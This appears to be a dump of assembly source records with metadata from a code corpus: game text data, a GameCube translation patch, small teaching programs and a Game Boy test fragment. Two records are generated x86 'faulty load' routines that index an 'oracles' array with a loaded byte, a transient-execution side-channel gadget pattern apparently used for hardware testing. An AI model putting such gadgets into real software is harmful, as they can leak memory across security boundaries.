Episode16_Line26\n\t.word Episode16_Line27\n\t.word EOF\n\t.word EOF\n\nEpisode16_Line1:\n\t.ascii \"Miss Killer approaches Super\"\n\tTextEnd\nEpisode16_Line2:\n\t.ascii \"Arrow, self-styled defender of\"\n\tTextEnd\nEpisode16_Line3:\n\t.ascii \"justice, in order to make use of\"\n\tTextEnd\nEpisode16_Line4:\n\t.ascii \"him. The naive Super Arrow is\"\n\tTextEnd\nEpisode16_Line5:\n\t.ascii \"completely taken in by her lies,\"\n\tTextEnd\nEpisode16_Line6:\n\t.ascii \"pledging to help her win her\"\n\tTextEnd\nEpisode16_Line7:\n\t.ascii \"race. Ryu sees this and warns\"\n\tTextEnd\nEpisode16_Line8:\n\t.ascii \"Super Arrow that Miss Killer is in\"\n\tTextEnd\nEpisode16_Line9:\n\t.ascii \"fact an agent of Dark Million,\"\n\tTextEnd\nEpisode16_Line10:\n\t.ascii \"but Super Arrow refuses to\"\n\tTextEnd\nEpisode16_Line11:\n\t.ascii \"listen.\"\n\tTextEnd\nEpisode16_Line12:\n\t.ascii \"Training Miss Killer for victory,\"\n\tTextEnd\nEpisode16_Line13:\n\t.ascii \"Super Arrow teaches her the\"\n\tTextEnd\nEpisode16_Line14:\n\t.ascii \"\\\"sandwich burst\\\" technique. He\"\n\tTextEnd\nEpisode16_Line15:\n\t.ascii \"also gets Ryu to help her.\"\n\tTextEnd\nEpisode16_Line16:\n\t.ascii \"Race day: Miss Killer uses the\"\n\tTextEnd\nEpisode16_Line17:\n\t.ascii \"\\\"sandwich burst\\\" technique to\"\n\tTextEnd\nEpisode16_Line18:\n\t.ascii \"put her Moon Shadow in first\"\n\tTextEnd\nEpisode16_Line19:\n\t.ascii \"place. But then Mrs. Arros,\"\n\tTextEnd\nEpisode16_Line20:\n\t.ascii \"Super Arrow's wife, uses the\"\n\tTextEnd\nEpisode16_Line21:\n\t.ascii \"same move to put Ryu's car in\"\n\tTextEnd\nEpisode16_Line22:\n\t.ascii \"Miss Killer's position. They\"\n\tTextEnd\nEpisode16_Line23:\n\t.ascii \"prevent Miss Killer from winning.\"\n\tTextEnd\nEpisode16_Line24:\n\t.ascii \"Later, Super Arrow looks into\"\n\tTextEnd\nEpisode16_Line25:\n\t.ascii \"the sunset and laughs, still\"\n\tTextEnd\nEpisode16_Line26:\n\t.ascii \"having no idea that he's been\"\n\tTextEnd\nEpisode16_Line27:\n\t.ascii \"duped!\"\n\tTextEnd\n\n\n ; make sure to leave an empty line at the end","avg_line_length":21.6440677966,"max_line_length":46,"alphanum_fraction":0.7811276429} {"size":1011,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"\/\/ GameCube \"Giftpia\" Japanese To English Translation by krom (Peter Lemon):\n\nendian msb \/\/ GameCube PPC requires Big-Endian Encoding (Most Significant Bit)\noutput \"..\/..\/output\/Giftpia [U].iso\", create\norigin $000000; insert \"..\/..\/isos\/Giftpia [J].iso\" \/\/ Include Japanese Giftpia ISO\n\nmacro Text(OFFSET, TEXT) {\n map 0, 0, 256 \/\/ Map Default ASCII Chars\n\n origin {OFFSET}\n db {TEXT} \/\/ ASCII Text To Print\n}\n\nmacro TextShiftJIS(OFFSET, TEXT) {\n \/\/ Map Shift-JIS Words\n map ' ', $8140\n map $2C, $8143 \/\/ Comma \",\"\n map '.', $8144\n map ':', $8146\n map '?', $8148\n map '!', $8149\n map '~', $8160\n map '\\s', $8166 \/\/ Single Quote \"'\"\n map '\\d', $8168 \/\/ Double Quote '\"'\n map '+', $817B\n map '&', $8195\n map '0', $824F, 10 \/\/ Map Numbers\n map 'A', $8260, 26 \/\/ Map English \"Upper Case\" Characters\n map 'a', $8281, 26 \/\/ Map English \"Lower Case\" Characters\n\n origin {OFFSET}\n dw {TEXT} \/\/ Shift-JIS Text To Print\n}\n\n\/\/Region\nText($3, \"E\")\n\ninclude \"Banner.asm\"\ninclude \"Menus.asm\"\n","avg_line_length":25.275,"max_line_length":83,"alphanum_fraction":0.6122650841} {"size":821,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A100494: Primes of the form 47n+3.\n; Submitted by Jon Maiga\n; 3,97,191,379,661,1319,1601,1789,2447,2729,2917,3011,4139,4327,4421,4703,5737,6113,6301,6959,7523,7993,8087,8369,8839,8933,9403,9497,9967,10061,10343,10531,11471,11941,13163,13633,14009,14197,14479,15137,15607,15889,16453,16547,16829,17299,17393,17581,17863,17957,18427,18521,18803,19273,21059,21247,21341,21529,22093,22469,22751,23879,24443,24631,25759,26041,26417,26699,26981,27733,27827,28109,28297,28579,29989,30271,30553,31963,32057,32621,33091,33749,33937,34031,34313,34501,34877,35159,35911\n\nmov $1,1\nmov $2,$0\nadd $2,2\npow $2,2\nlpb $2\n sub $2,2\n mov $3,$1\n mul $3,2\n seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.\n sub $0,$3\n add $1,47\n mov $4,$0\n max $4,0\n cmp $4,$0\n mul $2,$4\nlpe\nmov $0,$1\nmul $0,2\nsub $0,93\n","avg_line_length":34.2083333333,"max_line_length":498,"alphanum_fraction":0.7271619976} {"size":626,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"# we can use $0, $at, $v0, $v1, $a0, $a1, $a2, and $a3\n.data\n\n.text\n\n\naddi $a0,$0,5 #$a0 = n here 5\naddi $v0,$0,1 #$v0 = sum = 1\naddi $a1,$0,1 #$a1 holds our constant to compare against\n\nloop_start: beq $a0,$a1,loop_end #if n== 1 go to loop_end <=> while(n>1)\n# nop not needed since we dont use a branch delay slot\n\n#multiplication\nadd $a2,$a0,$0 #b = n, $a2 = b\nadd $v1,$v0,$0 #$v1 = sum before inner loop\ninner_loop_start: beq $a2,$a1,inner_loop_end #if b== 1 go to inner_loop_end <=> while(b > 1)\n\nadd $v0,$v0,$v1\naddi $a2,$a2,-1\nbeq $0,$0,inner_loop_start\ninner_loop_end:\n\naddi $a0,$a0,-1\nbeq $0,$0,loop_start\n\nloop_end:\n\n","avg_line_length":21.5862068966,"max_line_length":92,"alphanum_fraction":0.642172524} {"size":784,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":";#########################################################\n; Sintaxe: Diferen\u00e7a entre endere\u00e7os e conte\u00fados(labels)\n;#########################################################\n\n\tSECTION .data\t\t;Se\u00e7\u00e3o para declara\u00e7\u00e3o de dados e inicializa\u00e7\u00e3o de mem\u00f3ria\n;msg:\tDB\t'B'\t\t;Aloca 1 byte para o char 'B' no endere\u00e7o de 'msg'\nmsg: \tDB\t'AD'\t\t;Aloca 2 bytes para a string 'AD' no endere\u00e7o de 'msg'\n\n\n\n\tSECTION .text\t\t;Se\u00e7\u00e3o para o c\u00f3digo\nglobal _start\n\n\n_start:\n ;mov\tebx,msg\t\t;Move o endere\u00e7o de 'msg'(1\u00babyte da string) para ebx (retorna para o sistema esse endere\u00e7o).\n\tmov\tebx,[msg]\t;Move o conte\u00fado do endere\u00e7o de 'msg' (1\u00ba byte) para ebx(retorna para o sistema esse conte\u00fado).\n\n\tmov\teax,1\t\t;Comando de sa\u00edda(final de execu\u00e7\u00e3o) para o kernel\n\tint\t0x80\t\t;interrupt 80 hex, chama o kernel\n","avg_line_length":37.3333333333,"max_line_length":113,"alphanum_fraction":0.6096938776} {"size":5406,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %rax\npush %rbp\npush %rcx\npush %rdi\npush %rsi\nlea addresses_A_ht+0x976e, %rsi\nlea addresses_WC_ht+0x1c072, %rdi\nnop\nsub $46947, %rbp\nmov $111, %rcx\nrep movsb\nnop\nnop\nnop\nnop\nadd %rcx, %rcx\nlea addresses_WT_ht+0x922e, %rdi\nnop\nnop\nnop\ninc %rcx\nmov $0x6162636465666768, %rbp\nmovq %rbp, %xmm4\nvmovups %ymm4, (%rdi)\nnop\nnop\nnop\nnop\nnop\nand $28596, %rdi\nlea addresses_normal_ht+0x7b6e, %rsi\nlea addresses_D_ht+0x826e, %rdi\ninc %rax\nmov $118, %rcx\nrep movsq\nnop\nnop\ninc %rbp\npop %rsi\npop %rdi\npop %rcx\npop %rbp\npop %rax\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r12\npush %r13\npush %r14\npush %r8\npush %r9\npush %rbp\npush %rdi\n\n\/\/ Store\nlea addresses_WT+0xa16e, %r14\nnop\nsub %r8, %r8\nmov $0x5152535455565758, %rdi\nmovq %rdi, %xmm3\nmovups %xmm3, (%r14)\ndec %r9\n\n\/\/ Store\nlea addresses_D+0x19b6e, %rbp\nnop\nnop\nand %r13, %r13\nmov $0x5152535455565758, %r14\nmovq %r14, %xmm2\nvmovaps %ymm2, (%rbp)\nnop\ncmp %rdi, %rdi\n\n\/\/ Load\nlea addresses_normal+0xe36e, %r13\nnop\nand $48974, %r9\nmovb (%r13), %r8b\nnop\nnop\nnop\nnop\nand %rbp, %rbp\n\n\/\/ Faulty Load\nlea addresses_RW+0x10f6e, %r14\nadd %r8, %r8\nmov (%r14), %ebp\nlea oracles, %rdi\nand $0xff, %rbp\nshlq $12, %rbp\nmov (%rdi,%rbp,1), %rbp\npop %rdi\npop %rbp\npop %r9\npop %r8\npop %r14\npop %r13\npop %r12\nret\n\n\/*\n\n[REF]\n{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}}\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': True, 'size': 32, 'congruent': 9}}\n{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}}\n[Faulty Load]\n{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}\n\n{'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}}\n{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}}\n{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}}\n{'32': 21829}\n32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32\n*\/\n","avg_line_length":44.3114754098,"max_line_length":2999,"alphanum_fraction":0.6594524602} {"size":932,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":".model small\n.data \na dw -32768\n\n.code\nmain:\n mov ax, @data\n mov ds, ax\n mov ax, a\n call printnum\nexit:\n mov ah, 04Ch\n mov al, 0\n int 21h\nreadnum:\n mov ah, 01h\n int 21h\n cmp al, 2dh\n je negative\n call [rpos + 2]\n ret\nnegative:\n call rpos\n not bx \n add bx, 1\n ret\nrpos:\n mov ah, 01h\n int 21h\n cmp al, 0dh\n je endl\n sub al, 48\n mov ah, 0\n push ax\n mov ax, 10\n mul bx\n mov bx, ax\n pop ax\n add bx, ax\n call rpos\nendl:\n ret\nprintnum:\n cmp ax, 0\n jz pzero\n jnl ppos\n mov dl, '-'\n push ax\n mov ah, 02h\n int 21h\n pop ax\n not ax \n add ax, 1\nppos:\n;used: ax dx bx \n cmp ax, 0\n jz zero\n mov dx, 0\n mov bx, 10\n div bx \n add dl, 48\n push dx\n call ppos\n pop dx\n push ax\n mov ah, 02h\n int 21h\n pop ax\nzero:\n ret\npzero:\n mov dl, 30h\n mov ah, 02h\n int 21h\n ret\nend main","avg_line_length":12.2631578947,"max_line_length":19,"alphanum_fraction":0.5096566524} {"size":934,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":" ; kr580vm80a assembler code for radio-86rk (32kb)\nexit equ 0F86Ch\nprint equ 0F818h\nsetch equ 0F809h\n\n org 0h\n\tmvi c, 1fh\n\tcall setch\n\tlxi hl, num+3\n\tmvi a, 3\npreplp:\n\tmvi m, 30h\n\tdcx hl\n\tdcr a\n\tcpi 0\n\tjnz preplp\n\tmvi m, 31h\nmainlp:\n\tlxi hl, num\n\tcall prinum\n\tlxi hl, minsev\n\tcall print\n\t\n\tlxi hl, num+3\n\tmov a, m\n\tsui 6\nlesslp:\n\tdcr a\n\tcpi 30h\n\tjnc ifless\n\tmvi b, 1\n\tadi 10\n\tmov m, a\n\tdcx hl\n\tmov a, m\n\tcpi 0\n\tjz end\n\tjnz lesslp\n\t\nifless:\n\tmov m, a\n\tcall prinum\n\tmvi c, 0dh\n\tcall setch\n\tmvi c, 0ah\n\tcall setch\n\tjmp mainlp\n\t\nend:\n\tlxi hl, endtxt\n\tcall print\n\tjmp exit\n\nprinum:\t\n\tlxi hl, num\n\tmvi d, 4\n\tmvi b, 1\nprinlp:\t\n\tmov a, m\n\tcpi 30h\n\tjz pzer\n\tmov c, m\n\tmvi b, 0\n\tcall setch\npzerrt:\n\tinx hl\n\tdcr d\n\tmov a, d\n\tcpi 0\n\trz\n\tjmp prinlp\n\npzer:\n\tmov a, b\n\tmov c, m\n\tcpi 0\n\tcz setch\n\tjmp pzerrt\n\nminsev:\t\n\tdb ' - 7 = ', 0\n\nendtxt:\n\tdb 'zaskamlen kak mamont ahahahahahahahah)00)00)))0', 0dh, 0ah, 0\t\n\nnum:\n\tdb 0,0,0,0","avg_line_length":10.7356321839,"max_line_length":67,"alphanum_fraction":0.6284796574} {"size":5291,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %r12\npush %r15\npush %r9\npush %rax\npush %rbx\npush %rdi\npush %rdx\nlea addresses_WT_ht+0x1894d, %rbx\nnop\nnop\nadd %rdx, %rdx\nmov (%rbx), %r9w\nnop\nnop\nnop\nnop\nnop\nxor %rax, %rax\nlea addresses_WT_ht+0x6985, %r12\nclflush (%r12)\nnop\nand %r15, %r15\nmov (%r12), %rdx\nnop\nnop\nnop\nnop\nnop\nxor $60587, %rbx\nlea addresses_D_ht+0x12c9d, %r9\ncmp %rdi, %rdi\nmovw $0x6162, (%r9)\nadd %rax, %rax\nlea addresses_A_ht+0x1c82d, %rdx\nnop\nnop\nnop\nsub %r9, %r9\nmovl $0x61626364, (%rdx)\nnop\nnop\nnop\nnop\ncmp $15016, %rdi\npop %rdx\npop %rdi\npop %rbx\npop %rax\npop %r9\npop %r15\npop %r12\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r10\npush %r13\npush %r14\npush %rbp\npush %rdi\npush %rdx\npush %rsi\n\n\/\/ Store\nlea addresses_PSE+0x37d5, %rdi\nand %r10, %r10\nmov $0x5152535455565758, %rbp\nmovq %rbp, %xmm4\nvmovups %ymm4, (%rdi)\nnop\nadd %r13, %r13\n\n\/\/ Load\nlea addresses_A+0xa121, %rsi\nnop\nnop\nnop\nnop\nadd $57992, %rdx\nmovups (%rsi), %xmm0\nvpextrq $1, %xmm0, %r14\ncmp %r13, %r13\n\n\/\/ Faulty Load\nmov $0x1cf4fe0000000a7d, %rbp\nnop\nnop\nnop\nnop\ninc %r14\nmov (%rbp), %rdx\nlea oracles, %r13\nand $0xff, %rdx\nshlq $12, %rdx\nmov (%r13,%rdx,1), %rdx\npop %rsi\npop %rdx\npop %rdi\npop %rbp\npop %r14\npop %r13\npop %r10\nret\n\n\/*\n\n[REF]\n{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}\n{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 32}}\n{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}\n[Faulty Load]\n{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}\n\n{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}\n{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}\n{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}}\n{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}\n{'00': 21829}\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n*\/\n","avg_line_length":43.0162601626,"max_line_length":2999,"alphanum_fraction":0.6552636553} {"size":2532,"ext":"asm","lang":"Assembly","max_stars_count":149.0,"content":".loadtable \"data\/flyover-table.tbl\"\n\n.strn \"\\n\"\n.strn \"\\n\"\n.strn 01h, 1Ch, \"Like a great tapestry, vertical and\\n\"\n.strn 01h, 1Ch, \"horizontal threads have met and\\n\"\n.strn 01h, 1Ch, \"become intertwined, creating a\\n\"\n.strn 01h, 1Ch, \"huge, beautiful image.\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn 01h, 1Ch, \"You may have cursed this never-\\n\"\n.strn 01h, 1Ch, \"ending journey. You have known\\n\"\n.strn 01h, 1Ch, \"injury and defeat, but you have\\n\"\n.strn 01h, 1Ch, \"struggled on to reach this place.\\n\"\n.strn 01h, 1Ch, \"Your in-born intelligence and\\n\"\n.strn 01h, 1Ch, \"courage have helped bring you\\n\"\n.strn 01h, 1Ch, \"here. You have believed in your\\n\"\n.strn 01h, 1Ch, \"friends, and as a group, you have\\n\"\n.strn 01h, 1Ch, \"supported each other. Have you\\n\"\n.strn 01h, 1Ch, \"ever stopped to consider how\\n\"\n.strn 01h, 1Ch, \"much your power has grown?\\n\"\n.strn 01h, 1Ch, \"Now, you could fell enemies in\\n\"\n.strn 01h, 1Ch, \"Onett and Twoson with one\\n\"\n.strn 01h, 1Ch, \"blow. As you certainly know,\\n\"\n.strn 01h, 1Ch, \"you cannot turn back. Giygas,\\n\"\n.strn 01h, 1Ch, \"the arch fiend of the universe, is\\n\"\n.strn 01h, 1Ch, \"growing frightened of you and\\n\"\n.strn 01h, 1Ch, \"your power. He is searching for\\n\"\n.strn 01h, 1Ch, \"ways to end your journey.\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn 01h, 1Ch, \"From here, the challenge grows\\n\"\n.strn 01h, 1Ch, \"and your adventure will take you\\n\"\n.strn 01h, 1Ch, \"beyond anything you ever\\n\"\n.strn 01h, 1Ch, \"imagined. You are drawing near\\n\"\n.strn 01h, 1Ch, \"to Giygas. Remember, when you\\n\"\n.strn 01h, 1Ch, \"are suffering hardships, your\\n\"\n.strn 01h, 1Ch, \"enemy is also struggling.\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn 01h, 1Ch, \"By the way, do you know where\\n\"\n.strn 01h, 1Ch, \"Pokey went? When this cup of\\n\"\n.strn 01h, 1Ch, \"tea is finished, your adventure will\\n\"\n.strn 01h, 1Ch, \"continue. Your destiny pulls you\\n\"\n.strn 01h, 1Ch, \"in the right direction. Believe in\\n\"\n.strn 01h, 1Ch, \"yourself and press forward.\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn 01h, 12h, \"\\cness!\\n\"\n.strn 01h, 12h, \" \\cpaula!\\n\"\n.strn 01h, 12h, \" \\cjeff!\\n\"\n.strn 01h, 12h, \" \\cpoo!\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn 01h, 1Ch, \"I wish you luck...\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.strn \"\\n\"\n.str \"\\n\"\n","avg_line_length":35.1666666667,"max_line_length":61,"alphanum_fraction":0.6034755134} {"size":2164,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".size 8000\n\n.text@100\n\tjp lbegin\n\n.data@143\n\t80\n\n.text@150\nlbegin:\n\tld b, 92\n\tld c, 44\nlbegin_waitly92:\n\tldff a, (c)\n\tcmp a, b\n\tjrnz lbegin_waitly92\n\tld a, 00\n\tldff(40), a\n\tld a, 66\n\tldff(40), a\n\tldff(41), a\n\tldff(42), a\n\tldff(43), a\n\tldff(44), a\n\tldff(45), a\n\tldff(47), a\n\tldff(48), a\n\tldff(49), a\n\tldff(4a), a\n\tldff(4b), a\n\tld a, 91\n\tldff(40), a\n\tldff a, (40)\n\tldff(80), a\n\tldff a, (41)\n\tldff(81), a\n\tldff a, (42)\n\tldff(82), a\n\tldff a, (43)\n\tldff(83), a\n\tldff a, (44)\n\tldff(84), a\n\tldff a, (45)\n\tldff(85), a\n\tldff a, (47)\n\tldff(86), a\n\tldff a, (48)\n\tldff(87), a\n\tldff a, (4a)\n\tldff(88), a\n\tldff a, (4b)\n\tldff(89), a\n\tjp lprint_hiram\n\n.text@7000\nlprint_hiram:\n\tld c, 44\n\tld b, 91\nlprint_waitly91:\n\tldff a, (c)\n\tcmp a, b\n\tjrnz lprint_waitly91\n\txor a, a\n\tldff(40), a\n\tld bc, 7a00\n\tld hl, 8000\n\tld d, 00\nlprint_copytiles:\n\tld a, (bc)\n\tinc bc\n\tld(hl++), a\n\tdec d\n\tjrnz lprint_copytiles\n\tld a, c0\n\tldff(47), a\n\tld a, 80\n\tldff(68), a\n\tld a, ff\n\tldff(69), a\n\tldff(69), a\n\tldff(69), a\n\tldff(69), a\n\tldff(69), a\n\tldff(69), 